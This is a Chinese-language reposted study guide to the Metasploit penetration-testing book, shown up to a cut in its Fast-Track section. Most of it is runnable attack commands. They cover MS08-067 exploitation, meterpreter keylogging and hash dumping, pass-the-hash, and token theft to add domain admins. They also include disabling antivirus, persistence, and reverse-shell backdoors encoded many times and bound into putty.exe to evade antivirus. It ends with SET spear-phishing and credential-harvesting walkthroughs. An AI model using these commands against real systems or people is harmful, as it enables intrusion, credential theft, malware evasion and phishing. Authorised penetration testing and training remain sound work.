Metasploit 讀書筆記

原文地址:Metasploit 讀書筆記作者:macalzheng

Metasploit 讀書筆記

《metasploit The PenetrationTester's Guide》讀書筆記v2

-

轉自:http://www.t00ls.net/


----BY chowner@t00ls

修訂說明:v2版全面使用bt5 r1作爲測試系統,對筆記中存在的衆多錯誤和遺漏作了更正和補充;

目錄

一.名詞解釋···································································· 3

二.MSF基礎··································································· 3

三.信息探測與收集··························································· 4

四.基本漏洞掃描······························································ 8

五.基礎溢出命令·····························································10

六.METERPRETER·························································11

七.避開殺軟···································································15

八.使用用戶端攻擊方式(client-side attacks)······················ 17

九.MSF 附加模塊···························································18

十.社會工程學工具集(SET)··········································· 20

十一.FAST-TRACK·························································22

十二.KARMERASPLOIT················································· 23

十四.滲透實戰演習··························································24

十五.常用命令備忘··························································26

3

一.名詞解釋

exploit

測試者利用它來攻擊一個系統,程序,或服務,以獲得開發者意料之外的結果。常見的

有內存溢出,網站程序漏洞利用,配置錯誤exploit。

payload

我們想讓被攻擊系統執行的程序,如reverse shell 可以從目標機器與測試者之間建立一

個反響連接,bind shell 綁定一個執行命令的通道至測試者的機器。payload 也可以是隻

能在目標機器上執行有限命令的程序。

shellcode

是進行攻擊時的一系列被當作payload 的指令,通常在目標機器上執行之後提供一個可

執行命令的shell。

module

MSF 的模塊,由一系列代碼組成。

listener

等待來自被攻擊機器的incoming 連接的監聽在測試者機器上的程序。

二.MSF基礎

1、MSF 提供多種用戶界面:控制檯模式(msfconsole),命令行模式(msfcli),圖形模式(msfgui、

armitage),(在老版本中還有web 界面模式,後來貌似由於安全因素被取消了?)其中console

模式最常用,啓動方式:

cd /opt/framework/msf3/

msfconsole

運行此命令後將進入msf 命令提示符:

msf>

2、獲取命令的幫助信息:help

例子:

help connect

3、msfcli 和msfconsole 相比不提供交互方式,它直接從命令行輸入所有參數併產生結果,

msfcli –h #獲取幫助信息

msfcli  

 [mode]

------------------------------------------------------------------------------

mode:H(help)幫助

S(summary)顯示模塊信息

O(options)顯示模塊的可用選項

A(advanced)顯示高級選項

I(ids)顯示IDS EVASION 選項

P(payload)顯示此模塊可用的payload

T(targets)顯示可用targets

4

AC(action)顯示可用actions

C(check)運行模塊測試

E(execute)執行選定的模塊

--------------------------------------------------------------------------------------

例子:ms08_067_netapi 模塊

msfcli windows/smb/ms08_067_netapi O #查看可用選項

msfcli windows/smb/ms08_067_netapi RHOST=192.168.0.111 P #查看可用payload

msfcli windows/smb/ms08_067_netapi RHOST=192.168.0.111 PAYLOAD=windows/shell/bind_tcp E

#執行(此處O、P 等參數也可以用小寫)

4、Armitage :MSF 的一個圖形接口

運行方式:

cd /opt/farmework/msf3/

armitage

5、MSF 其他組件:

MSFpayload 工具:

用於生成shellcode,可生成C,Ruby,JaveScript,VB 格式的shellcode。

幫助信息:

msfpayload –h

MSFencode 工具:

編碼壓縮shellcode,過IDS ,防火牆。

msfencode -h

msfencode –l 查看可用的編碼器(encoders),效果最佳的是x86/shikata_ga_nai

三.信息刺探與收集

1、攻擊第一步:基礎信息收集

①whois 查詢:

msf > whois example.com

msf> whois 192.168.1.100

②http://searchdns.netcraft.com/在線收集服務器IP 信息工具

③nslookup

set type=mx

> example.com

2、用nmap 探測開放端口和服務:-sS SYN 半開掃描-sT TCP 半開掃描-Pn 不使用ping

方式探測主機-A 探測服務類型-6 開啓IPV6 掃描-O 探測操作系統版本

--------------------------------------------------------------------------------------------------

常用掃描參數組合:

nmap –sS –Pn 192.168.0.111

nmap –sS –Pn –A 192.168.0.111

其他組合:

5

nmap -T4 -A -v 深入式掃描

nmap -sS -sU -T4 -A -v 同上,且掃UDP

nmap -p 1-65535 -T4 -A -v 掃描所有TCP 端口

nmap -T4 -A -v -Pn 不使用ping

nmap -sn 使用ping

nmap -T4 -F 快速掃描

nmap -sV -T4 -O -F --version-light 加強版快速掃描

nmap -sn --traceroute 快速路由跟蹤掃描

nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or

(discovery and safe)" 慢速全面掃描

----------------------------------------------------------------------------------------------------------------

( nmap 的scripts 位於/usr/local/share/nmap/scripts/ 目錄, 用LUA 語言編寫, nmap

--script-help all | less 查看腳本掃描幫助信息)

(nmap 還有一個GUI 界面工具叫zenmap,命令zenmap 或nmapfe 都可以啓動)

3、MSF 與postgresql 協同工作

/etc/init.d/postgreql-8.3 start

msf> db_connect postgres:[email protected]/msf

msf> db_status

導入nmap 掃描的結果:

nmap –sS –Pn –A –oX Subnet1 192.168.1.0/24 # -oX 掃描結果導出爲Subnet1.xml

msf> db_import Subnet1.xml

msf> db_hosts –c address #查看導入的主機IP

(msf 也可以和mysql 一起工作,在bt5 r1 中msf 默認支持連接mysql:

msf> db_driver mysql

msf> db_connect root:[email protected]/msf3 #連接本機mysql 的msf3 數據庫

mysql 默認密碼toor,使用db_connect 連接時會自動創建msf3 庫)

4、高級掃描方式:

①msf> use auxiliary/scanner/ip/ipidseq #IPID 序列掃描器,與nmap 的-sI -O 選項類似

show options

set RHOSTS 192.168.1.0/24

set RPORT 8080

set THREADS 50

run

(RHOSTS、RPORT 等參數也可以用小寫)

②msf> nmap –PN –sI 192.168.1.09 192.168.1.155

③nmap 連接數據庫:

msf> db_connect postgres:[email protected]/msf

msf> db_nmap –sS –A 192.168.1.111

msf> db_services #查看掃描結果

④使用portscan 模塊:

6

msf> search postscan

msf> use scanner/postscan/syn

set RHOSTS 192.168.1.111

set THREADS 50

run

5、特定掃描:

smb_version 模塊:

msf> use auxiliary/scanner/smb/smb_version

show options

set RHOSTS 192.168.1.111

run

db_hosts –c address,os_flavor

查找mssql 主機:

msf> use auxiliary/scanner/mssql/mssql_ping

show options

set RHOSTS 192.168.1.0/24

set THREADS 255

run

SSH 服務器掃描:

msf> use auxiliary/scanner/ssh/ssh_version

set THREADS 50

run

FTP 主機掃描:

msf> use auxiliary/scanner/ftp/ftp_version

show options

set RHOSTS 192.168.1.0/24

set THREADS 255

run

掃描FTP 匿名登錄:

use auxiliary/scanner/ftp/anonymos

set RHOSTS 192.168.1.0/24

set THREADS 50

run

掃描SNMP 主機:

msf> use auxiliary/scanner/snmp/snmp_login

set RHOSTS 192.168.1.0/24

set THREADS 50

run

7

6、編寫自定義掃描模塊:

MSF 框架提供對其所有exploit 和method 的訪問,支持代理,SSL,報告生成,線程,

使用Ruby 語言。

例子:一個簡單的自定義掃描模塊

----------------------------------------------------------------------------------------------------------------

#Metasploit

require ‘msf/core’

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::Tcp

include Msf:Auxiliary::Scanner

def initialize

super(

‘Name’ => ‘My custom TCP scan’,

‘Version’ => ‘$Revision: 1$’,

‘Description’ => ‘My quick scanner’,

‘Author’ => ‘Your name here’,

‘License’ => ‘MSF_LICENSE’

)

register_options(

[

Opt::RPORT(12345)

],self.class)

end

def run_host(ip)

connect()

sock.puts(‘HELLO SERVER’)

data = sock.recv(1024)

print_status(“Received: #{data} from #{ip}”)

disconnect()

end

end

-------------------------------------------------------------------------------------------------------------

測試:將模塊保存到modules/auxiliary/scanner/目錄下面,命名爲simple_tcp.rb,注意

保存的位置很重要。

使用nc 監聽一個端口測試這個模塊:

echo “Hello Metasploit” > banner.txt

nc –lvnp 12345 < banner.txt

msf> use auxiliary/scanner/simple_tcp

>show options

>set RHOSTS 192.168.1.111

>run

Received: Hello Metasploit from 192.168.1.111

8

四.基本漏洞掃描

1、使用nc 與目標端口通信,獲取目標端口的信息:

nc 192.168.1.111 80

GET HTTP 1/1

Server: Microsoft-IIS/5.1

(1:還有一個功能與nc 類似的工具Ncat,產自nmap 社區,可實現相同功能:

ncat -C 192.168.1.111 80

GET / HTTP/1.0

2:題外:ncat 還可以做聊天服務器呢!在服務器端監聽然後多個客戶端直接連上就

可以聊天了:服務器(chatserver):ncatncat -l --chat 其他客戶端:ncat chatserver

3:ncat 還可以用來查看各種客戶端的請求信息,比如論壇裏有人問中國菜刀有木有

後門,那麼可以這樣查看中國菜刀連接後門時發送的數據:

服務器(server.example.com)上:ncat -l --keep-open 80 --output caidao.log > /dev/null

然後使用菜刀連接http://server.example.com/nc.php 並請求操作,這是菜刀發送的數據

就保存到服務器的caidao.log 裏面了。也可以導出爲hex 格式,--output 換爲--hex-dump

就可以了。

4:其實與nc 功能類似的工具在bt5 裏面還有很多,比如還有一個sbd:

監聽:sbd -l -p 12345

連接:sbd 192.168.1.111 12345

5:當然也可以用來聊天,與ncat 的不同之處在於ncat 自動對用戶編號user1、user2、...,

而sbd 可以自定義暱稱,且不需要專門單獨監聽爲聊天服務器:

pc1:sbd -l -p 12345 -P chowner

pc2:sbd pc1 12345 -P evil

6:其實nc 也可以用來聊天的:

pc1:nc -l -p 12345

pc2:telnet pc1 12345)

2、與NeXpose 結合掃描:

在nexpose 中掃描目標並生成xml 格式的報告後,將報告導入到msf:

db_connect postgres:[email protected]/msf

db_import /tmp/host_test.xml

db_hosts –c address,svvs,vulns

db_vulns

在MSF 中運行nexpose:

db_destroy postgres:[email protected]/msf

db_connect postgres:[email protected]/msf

load nexpose

nexpose_connect –h

nexpose_connect nexpose:[email protected] ok

nexpose_scan 192.168.1.195

db_hosts –c address

9

db_vulns

(如果你想在bt5 裏安裝nexpose 的話建議把bt5 硬盤空間多留幾十G,這玩意硬盤小

了不讓裝。)

3、與nessus 結合掃描:

使用Nessus 掃描完成後生成.nessus 格式的報告,導入到MSF:

db_connect postgres:[email protected]/msf

db_import /tmp/nessus_report_Host_test.nessus

db_hosts –c address,svcs,vulns

db_vulns

在MSF 中使用Nessus:

db_connect postgres:[email protected]/msf

load nessus

nessus_connect nessus:[email protected]:8834 ok

nessus_policy_list #查看存在的掃描規則

nessus_scan_new 2 bridge_scan 192.168.1.111 #2 表示規則的ID 號,bridge_scan 自定義掃

描名稱

nessus_scan_status #查看掃描進行狀態

nessus_report_list #查看掃描結果

nessus_report_get skjla243-3b5d-******* #導入報告

db_hosts –c address,svcs,vulns

4、特殊掃描:

SMB 弱口令:

msf> use auxiliary/scanner/smb/smb_login

set RHOSTS 192.168.1.111-222

set SMBUser Administrator

set SMBPass admin

run

VNC 空口令:

msf> use auxiliary/scanner/vnc/vnc_none_auth

set RHOSTS 192.168.1.111

run

Open X11 空口令:

msf> use auxiliary/scanner/x11/open_x11

set RHOST 192.168.1.0/24

set THREADS 50

run

當掃描到此漏洞的主機後可以使用xspy 工具來監視對方的鍵盤輸入:

cd /pentest/sniffers/xspy/

10

./xspy –display 192.168.1.125:0 –delay 100

(xspy 這貨在bt5 r1 裏面貌似木有了)

5、使用Autopwn 處理掃描結果:

autopwn 選項:e 執行attack t 查看匹配模塊r 使用reverse shell 作爲payload x

基於漏洞篩選模塊p 基於端口篩選模塊

db_connect postgres:[email protected]/msf

db_import /root/nessus.nbe

db_autopwn –e –t –r –x –p

-e 針對符合條件的目標加載所有exploit -t 顯示所有匹配的exploit -r 使用反彈shell

-x 基於漏洞篩選模塊-p 基於端口篩選模塊

五.基礎溢出命令

1、基本命令:

查看可用溢出模塊show exploits

查看輔助模塊show auxiliary 包括掃描器,拒絕服務模塊,fuzzer 工具或其他。

查看可用選項show options

加載模塊後退出此模塊back

例子:

msf> use windows/smb/ms08_067_netapi

back

搜索模塊search

例子: searh mssql search ms08_067

查看當前模塊可用的payload: show payloads

例子:

use windows/smb/ms08_067_netapi

show payloads

set payload windows/shell/reverse_tcp

show options

查看可選的目標類型show targets

查看更多信息info

設置一個選項或取消設置set/unset

設置或取消全局選項setg/unsetg 例如設置LHOST 就可以用setg,避免後面重複設置

保存全局選項的設置save 當下次啓動仍然生效

查看建立的session sessions –l

激活session sessions –i num #num 爲session 編號

2、暴力端口探測:

11

當主機端口對外開放但是普通探測方法無法探測到時,用此模塊,msf 將對目標的所有

端口進行嘗試,直到找到一個開放端口並與測試者建立連接。

例子:

use exploit/windows/smb/ms08_067_netapi

set LHOST 192.168.1.111

set RHOST 192.168.1.122

set TARGET 39 #Windows XP SP3 Chinese - Simplified (NX)

search ports #搜索與ports 相關模塊

set PAYLOAD windows/meterpreter/reverse_tcp_allports

exploit –j #作爲後臺任務運行

sessions –l –v

sesssions –i 1

3、MSF 腳本文件:

爲了縮短測試時間可以將msf 命令寫入一個文件,然後在msf 中加載它。

加載方式:msfconsole 的resource 命令或者msfconsole 加上-r 選項

例子:

echo ‘version’ > resource.rc

echo ‘load sounds’ >> resource.rc

msfconsole –r resource.rc

例子:

echo ‘use exploit/windows/smb/ms08_067_netapi’ > autoexp.rc

echo ‘set RHOST 192.168.1.133’ >> autoexp.rc

echo ‘set PAYLOAD windows/meterpreter/reverse_tcp’ >> autoexp.rc

echo ‘set LHOST 192.168.1.111’ >> autoexp.rc

echo ‘exploit’ >> autoexp.rc

msfconsole

msf> resource autoexp.rc

六.METERPRETER

1、當對目標系統進行溢出時,使用meterpreter 作爲payload,給測試者返回一個shell,可

用於在目標機器上執行更多的操作。

例子:

msf> nmap –sT –A –P0 192.168.1.130 #探測開放服務

假如已經探測到1433(TCP)和1434(UDP)端口(mssql),

msf> nmap –sU 192.168.1.130 –P 1434 #確認端口開放

msf> use auxiliary/scanner/mssql/mssql_ping

show options

set RHOSTS 192.168.1.1/24

set THREADS 20

exploit

12

至此可獲取服務器名稱,版本號等信息。

msf> use auxiliary/scanner/mssql/mssql_login

show options

set PASS_FILE /pentest/exploits/fasttrack/bin/dict/wordlist.txt

set RHOSTS 192.168.1.130

set THREADS 10

set verbose false

exploit

暴力猜解登陸密碼。接下來使用mssql 自帶的xp_cmdshell 功能添加賬戶:

msf> use exploit/windows/mssql/mssql_payload

show options

set payload windows/meterpreter/reverse_tcp

set LHOST 192.168.1.111

set LPORT 433

set RHOST 192.168.1.130

set PASSWORD password130

exploit

當獲取到一個meterpreter shell 後可以執行更多的操作:

獲取屏幕截圖:screenshot

獲取系統信息:sysinfo

獲取鍵盤記錄:

meterpreter> ps #查看目標機器進程,假設發現explorer.exe 的進程號爲1668:

meterpreter> migrate 1668 #插入該進程

meterpreter> run post/windows/capture/keylog_recorder #運行鍵盤記錄模塊,將擊鍵記

錄保存到本地txt

cat /root/.msf3/loot/*****.txt #查看結果

獲取系統賬號密碼:

meterpreter> use priv

meterpreter> run post/windows/gather/hashdump

當獲取到密碼的hash 之後無法破解出明文密碼且無法直接使用hash 登陸,需要使用

pass-the-hash 技術:

msf> use windows/smb/psexec

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.1.111

set LPORT 443

set RHOST 192.168.1.130

set SMBPass aad3b435b51404eeaad3b435b51404ee:b75989f65d1e04af7625ed712ac36c29

exploit

獲取到系統權限後我們可以新建一個普通賬號,然後使用此賬號執行我們的後門:

在目標機器上執行:net uaer hacker pass /add

本地生成一個後門程序:

msfpayload windows/meterpreter/reverse_tcp

LHOST=192.168.1.111 LPORT=443 X >payload.exe

將payload.exe 拷貝到目標機器然後使用新建立的賬號執行

13

本地執行端口監聽,等待來自目標機器連接:

msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp

LHOST=192.168.1.111 LPORT=443

use priv

getsystem

getuid

至此取得SYSTEM 權限

2、令牌模擬:當有域控賬戶登陸至服務器時可使用令牌模擬進行滲透取得域控權限,之後

登陸其他機器時不需要登陸密碼。

meterpreter> ps # 查看目標機器進程,找出域控賬戶運行的進程ID,假如發現PID 爲

380

meterpreter> steal_token 380

有時ps 命令列出的進程中可能不存在域控賬戶的進程,此時使用incognito 模塊查看可

用token:

meterpreter> use incognito

meterpreter> list_tokens –u #列出可用token,假如找到域控token

meterpreter> impersonate_token SNEAKS.IN\ihazdomainadmin

meterpreter> add_user hacker password –h 192.168.1.50 #在域控主機上添加賬戶

meterpreter> add_group_user “Domain Admins” hacker –h 192.168.1.50 #將賬戶添加至

域管理員組

3、內網滲透:當取得同網段內一臺主機的權限後可以進一步滲透網內其他主機:

例子:

meterpreter> run get_local_subnets #查看網段/子網

Local subnet: 192.168.33.0/255.255.255.0

meterpreter> background #轉入後臺運行

msf> route add 192.168.33.0 255.255.255.0 1 #本地添加路由信息

msf> route print #查看添加的信息

msf> use linux/samba/lsa_transnames_heap #準備向內網目標主機進攻

set payload linux/x86/shell/reverse_tcp

set LHOST 10.10.1.129 #此處爲attacking 主機的外網IP

set LPORT 8080

set RHOST 192.168.33.132 #內網目標主機

exploit

也可以使用自動式添加路由模塊:

msf> load auto_add_route

msf> exploit

4、Meterpreter 腳本:

使用run scriptname 方式執行

14

①vnc 腳本,獲取遠程機器vnc 界面控制

meterpreter> run vnc

meterpreter> run screen_unlock

②進程遷移

當攻擊成功後將連接進程從不穩定進程(如使用瀏覽器溢出漏洞exp 進行攻擊時瀏覽器

可能會被目標關閉)遷移至穩定進程(explorer.exe),保持可連接。

例子:

meterpreter> run post/windows/manage/migrate

(在64 位win7 中migrate 需要管理員權限執行後門才能成功,而migrate 前後獲取的

權限是有差異的。)

③關閉殺毒軟件

meterpreter> run killav (這個腳本要小心使用,可能導致目標機器藍屏死機。)

④獲取系統密碼hash

meterpreter> run hashdump

(64 位win7 下需要管理員權限執行後門且先getsystem,然後使用

run post/windows/gather/hashdump 來dump hash 成功率更高。

而且如果要使用shell 添加系統賬戶的話win7 下得先:

run post/windows/escalate/bypassuac ,不然可能不會成功。)

⑤獲取系統流量數據

meterpreter> run packtrecorder –i 1

⑥直搗黃龍

可以幹很多事情:獲取密碼,下載註冊表,獲取系統信息等

meterpreter> run scraper

⑦持久保持

當目標機器重啓之後仍然可以控制

meterpreter> run persistence –X –i 50 –p 443 –r 192.168.1.111

-X 開機啓動-i 連接超時時間–p 端口–rIP

下次連接時:

msf> use multi/handler

set payload windows/meterpreter/reverse_tcp

set LPOST 443

set LHOST 192.168.1.111

exploit

(會在以下位置和註冊表以隨機文件名寫入文件等信息,如:

C:UsersYourtUserNameAppDataLocalTempMXIxVNCy.vbs

C:UsersYourtUserNameAppDataLocalTempradF871B.tmpsvchost.exe

HKLMSoftwareMicrosoftWindowsCurrentVersionRunDjMzwzCDaoIcgNP)

⑧POST 整合模塊

可實現同時多個session 操作

15

例子:獲取hash

meterpreter> run post/windows/gather/hashdump

其他還有很多,使用TAB 鍵補全看下就知道run post/

5、升級command shell

例子:

msfconsole

msf> search ms08_067

msf> use windows/smb/ms08_067_netapi

set PAYLOAD windows/shell/reverse_tcp

set TARGET 3

setg LHOST 192.168.1.111

setg LPORT 8080

exploit –z #後臺運行,如果此處未使用-z 參數,後面可以按CTRL-Z 轉到後臺

sessions –u 1 #升級shell,必須前面使用setg 設定

sessions –i 2

6、使用Railgun 操作windows APIs

例子:

meterpreter> irb

>>client.railgun.user32.MessageBoxA(o,”hello”,”world”,”MB_OK”)

在目標機器上會彈出一個標題欄爲world 和內容爲hello 的窗口

七.避開殺軟

1、使用msfpayload 創建可執行後門:

例子:

msfpayload windows/shell_reverse_tcp 0 #查看選項

msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=31337 X >

/var/www/payload1.exe

然後本機監聽端口

msf> use exploit/multi/handler

show options

set PAYLOAD windows/shell_reverse_tcp

set LHOST 192.168.1.111

set LPORT 31337

exploit

2、過殺軟---使用msfencode 編碼後門:

16

msfencode –l #列出可用編碼器

例子:

msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=31337 R

|msfencode –e x86/shikata_ga_nai –t exe > /var/www/payload2.exe

使用R 參數作爲raw 輸出至管道,再經過msfencode 處理,最後導出。

3、多次編碼:

例子:

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.111 LPORT=31337 R |

msfencode –e x86/shikata_ga_nai –c 5 –t raw | msfencode –e x86/alpha_upper –c 2 –t raw |

msfencode –e x86/shikata_ga_nai –c 5 –t raw | msfencode –e x86/countdown –c 5 –t exe –o

/var/www/payload3.exe

簡單編碼被殺機會很大,使用多次編碼效果更好,這裏一共使用了17 次循環編碼。

(題外:經測試,1:使用此命令生成的後門也被MSE 殺到;2:未編碼的後門或編碼

次數較少的後門可以直接被秒殺;3:windows/x64/meterpreter/reverse_tcp 生成的後門未

經任何處理仍然不被殺,看來殺毒軟件傻逼了;4:x86 編碼器編碼的後門在64 位機器

上無法執行;5:360 有個沙箱功能,後門文件右鍵選擇“在360 隔離沙箱中運行”,msf

照樣可以連接並操作,看來隔離沙箱功能有限。)

4、自定義可執行程序模板:

msfencode 默認使用data/templates/templates.exe(msf v4 在templates 目錄下有針對不同

平臺的不同模板)作爲可執行程序的模板,殺毒廠商也不是傻逼,所以這裏最好使用自

定義模板,如:

wget http://download.sysinternals.com/Files/ProcessExplorer.zip

cd work

unzip ProcessExplorer.zip

cd ..

msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=8080 R | msfencode

–t exe –x work/procexp.exe –o /var/www/pe_backdoor.exe –e x86/shikata_ga_nai –c 5

在目標機器上運行,然後本地使用msfcli 監聽端口等待反彈連接:

msfcli exploit/multi/handler PAYLOAD=windows/shell_reverse_tcp LHOST=192.168.1.111

LPORT=8080 E

5、暗度陳倉—猥瑣執行payload:

綁定payload 至一個可執行文件,讓目標不知不覺間中招,以putty.exe 爲例:

msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=8080 R | msfencode

–t exe –x putty.exe -o /var/www/putty_backdoor.exe –e x86/shikata_ga_nai –k –c 5

假如選擇一個GUI 界面的程序作爲綁定目標並且不使用-k 選項,則目標執行此程序的

時候不會彈出cmd 窗口,-k 選項的作用是payload 獨立於模板軟件的進程運行。

6、加殼:

msfencode 部分編碼器會增加程序體積,這時可使用殼(packer)來壓縮程序,“帶套之

17

後更保險”,例如UPX :

apt-get install upx

最新版可到sf.net 下載

使用方法:

upx -5 /var/www/payload3.exe

還有另外一個工具msfvenom 結合了msfpayload 和msfencode 的功能,使用起來更省心,

親,一定要試試哦!過殺軟總結起來就是多次編碼和使用多種殼,終極大法就是使用自

己編寫的後門(市面上沒有,被殺機率更低)。

八.使用用戶端攻擊方式(client-side attacks)

1、主要指利用多種途徑包括社會工程學方式攻擊目標機器上安裝的帶有漏洞的程序如瀏覽

器,pdf 閱讀器,office 軟件等,最終獲取系統權限。

基於瀏覽器的攻擊:

例子:

msf> use windows/browser/ms10_002_aurora

set payload windows/meterpreter/reverse_tcp

set SRVPORT 80

set URIPATH /

set LHOST 192.168.1.111

set LPORT 443

exploit –z

sessions –i 1

run migrate

或者:

msf> use windows/browser/ms10_002_aurora

show advanced

set ReverseConnectRetries 10

set AutoRunScript migrate –f

exploit

use priv

getsystem

2、文件格式exploit

利用文件格式的漏洞達到溢出的目的,比如PDF,word,圖片等。

例子:

18

msf> use windows/fileformat/ms11_006_createsizeddibsection

info

set payload windows/meterpreter/reverse_tcp

set LHOST 192.168.1.111

set LPORT 443

exploit

此時會生成一個msf.doc 的word 文檔,在目標機器上打開此文檔,然後本機監聽端口

等待反彈連接:

use multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 192.168.1.111

set LPORT 443

exploit –j

九.MSF 附加模塊

包括端口掃描,服務探測,弱口令探測,fuzzer,sql 注射等。附加模塊沒有payload。

模塊保存在/opt/framework3/msf3/modules/auxiliary/目錄中的各個子目錄下。

可用命令查看全部可用附加模塊:msf> show auxiliary

例子:

msf> use scanner/http/webdav_scanner

info

show options

set RHOSTS 192.168.1.141,192.168.1.142,192.168.2.222

run

搜索所有http 相關掃描模塊:

search scanner/http

附加模塊深層剖析:

cd /opt/framework3/msf3/modules/auxiliary/admin/

wget

http://carnal0wnage.googlecode.c ... admin/random/foursq

ueare.rb

代碼分析:

require ‘msf/core’

class Metasploit3 < Msf::Auxiliary #導入Auxiliaary 類

#Exploit mixins should be called first

include Msf::Exploit::Remote::HttpClient #導入HTTPClient 方法

include Msf::Auxiliary::Report

19

def initialize

super(

‘Name’ => ‘Foursquare Location Poster’,

‘Version’ => ‘$Revision:$’,

‘Description’ => ‘F*ck with Foursquare,be anywhere you want to be by venue

id’,

‘Author’ => [‘CG’],

‘License’ => MSF_LICENSE,

‘References’ =>

[

[‘URL’,’http://groups.google.com/group/foursquare-api’],

[‘URL’,’http://www.mikekey.com/im-a-foursquare-cheater/’],

]

#todo pass in geocoords instead of venueid,create a venueid, other tom foolery

register_options(

[

Opt::RHOST(‘api.foursquare.com’),

OptString.new(‘VENUEID’,[true,’foursquare venueid’,’185675’]),

OptString.new(‘USERNAME’,[true,’foursquare username’,’username’]),

OptString.new(‘PASSWORD’,[true,’foursquare password’,’password’]),

],self.class)

end

def run

begin

user = datastore[‘USERNAME’]

pass = datasore[‘PASSWORD’]

venid = datastore[‘VENUEID’]

user_pass = Rex::Text.encode_base64(user + “:” + pass)

decode = Rex::Text.decode_base64(user_pass)

postrequest = “twitter=1n” #add facebook=1 if you want facebook

print_status(“Base64 Encode User/Pass: #{user_pass}”) #debug

print_status(“Base64 Decode User/Pass: #{decode}”) #debug

res = send_request_cgi({

‘uri’ => “/v1/checkin?vid=#{venid}”,

‘version’ => “1.1”,

‘method’ => ‘POST’,

‘data’ => postrequest,

‘headers’ =>

{

‘Authorization’ => “Basic #{user_pass}”,

‘Proxy-Connection’=> “Keep-Alive”,

20

}

},25)

print_status(“#{res}”)

end

rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout

rescue ::Timeout::Error, ::Errno::EPIPE =>e

pus e.message

end

end

ruby 白癡一個,代碼我也沒看懂,不解釋了

如何使用:

msf> search foursquare

msf> use admin/foursquare

set VENUEID 2584421

set USERNAME [email protected]

set PASSWORD ilovemetasploit

run

十.社會工程學工具集(SET)

主要功能:hacking the human mind。

1、SET 基本配置:

SET 位於/pentest/exploits/set/目錄

更新:

cd /pentest/exploits/set/

svn update

配置文件config/set_config,當使用基於web 的攻擊方式時可以將email 功能打開:

vi config/set_config:

METASPLOIT_PATH=/opt/framework3/msf3

WEBATTACK_EMAIL=ON

使用Java applet attack 進行攻擊的時候默認使用Microsoft 作爲發佈者名稱,如果需要自

定義則需要安裝JDK 並打開配置項:

SELF_SIGNED_APPLET=ON

SET 默認打開AUTO_DETECT 項,自動探測本機IP 並用於攻擊中的各項配置。如果本

21

機是多網卡需要手動指定IP,則需將此項關閉:

AUTO_DETECT=OFF

SET 默認使用內建的python 提供的web server 供使用,如需使用apache 作爲服務則需

要本機安裝apache 並打開配置項:

APACHE_SERVER=ON

2、網絡釣魚攻擊(Spear-Phishing Attack Vector):

利用文件格式漏洞(如PDF)等生成後門並通過email(GMAIL,SENDMAIL,)向目標

發送帶後門附件的電子郵件,誘使目標打開附件激活後門。

例子:

./set

此時選擇菜單1.Spear-Phishing Attack Vectors

繼續選擇:1.Perform a Mass Email Attack

選擇exploit:8.Adobe Collab.collectEmailInfo Buffer Overflow

選擇payload:4.Windows Reverse TCP Shell

選擇是否更改文件名:1.Keep the filename

選擇發送郵件方式1.Email Attack Single Email Address

選擇郵件模板1.Pre-Defined Template

5.Status Report

輸入收件方email 地址:[email protected]

選擇發件方式:1.Use a GMAIL Account for your email attack

輸入發件gmail 和密碼

選擇是否立即監聽端口等待連接:yes

此時SET 會使用剛纔的設定全自動監聽指定端口。

3、WEB 方式攻擊:

SET 可以克隆一個網站並植入後門以此迷惑目標打開此網站並中招。

Java Applet 方式:最成功的方式之一,並不是利用java 的漏洞,而是當目標瀏覽

含後門的仿冒站點時會被詢問是否允許執行web 中的java applet,一旦點擊允許則

payload 開始運行,目標將被重定向到真實的網站。

用戶端(Client-side)web exploit 方式:利用用戶端存在的軟件漏洞,一般使用0day

進行攻擊的效果最好。

賬號密碼獲取(Username and Password Harvesting):通過克隆一個目標站並誘使攻

擊目標登陸,截獲其賬號密碼。例如截獲GMAIL 密碼。

標籤頁綁架(Tabnabbing):當目標打開多個標籤頁瀏覽網站並切換標籤頁時,網

站偵測到目標的行爲並顯示讓目標等待的信息,恰好目標打開了被綁架的標籤頁並要求

在相似程度驚人的網站裏輸入登陸憑據,當目標輸入之後登陸信息即被截獲,同時被重

定向到真實網站。

中間人攻擊(Man-Left-in-the-Middle):此方式使用已經被攻陷的網站的HTTP 請

求或者網站的XSS 漏洞讓用戶的登陸信息發送至攻擊者的HTTP 服務器。如果你發現

了一個網站的XSS 漏洞,可以利用此漏洞構造一個url 發送給目標誘使其打開並登陸以

22

截獲登陸信息。

Web Jacking:當目標打開我們的網站時會有一個鏈接顯示爲正確的web 地址,此

時若目標打開此仿冒鏈接會被定向到我們的仿冒網站,其登陸信息會被截獲。

混合模式(multi-attack):可同時使用以上多種攻擊手段以提高成功率。

介質感染攻擊(Infectious Media Generator):可以讓你生成一張光盤或者u 盤,裏面包

含autorun.inf 來運行指定的後門文件或者file-format 漏洞文件。

迷你USB 人機接口設備(Teensy USB HID):當電腦插入USB 設備且autorun.inf 被禁

用時,可使用此方法將USB 設備模擬成一個鍵盤或鼠標設備,進而截獲目標機器的擊

鍵記錄。

SET 其他特殊功能:

包括SET 交互式shell,可用來替代meterpreter;遠程管理工具(RATTE);HTTP 隧道,

當目標主機只開放HTTP 端口對外放行時可通過此功能與主機進行通信;WEB-GUI,

包含了常用攻擊和無線攻擊向導,輸入./set-web 即可運行。

(SET 新版本變動較大,請自行摸索。)

十一.FAST-TRACK

Fast-Track 和SET 一樣都是python 編寫的,同樣是使用MSF 提供的payload 以及用戶

端攻擊向導等,作爲對MSF 的補充,它提供瞭如MSSQL 攻擊,更多的exploit,瀏覽

器攻擊向導等。fasttrack 位於/pentest/exploits/fasttrack/。

交互式模式:./fast-track.py -i

命令行模式:./fast-track.py -c

Web 界面模式:./fast-track.py -g

1、MSSQL 工具:

MSSQL 注入漏洞攻擊:

攻擊時你只需要輸入有注入漏洞的url 地址,地址裏面用INJECTHERE 標識可注入字

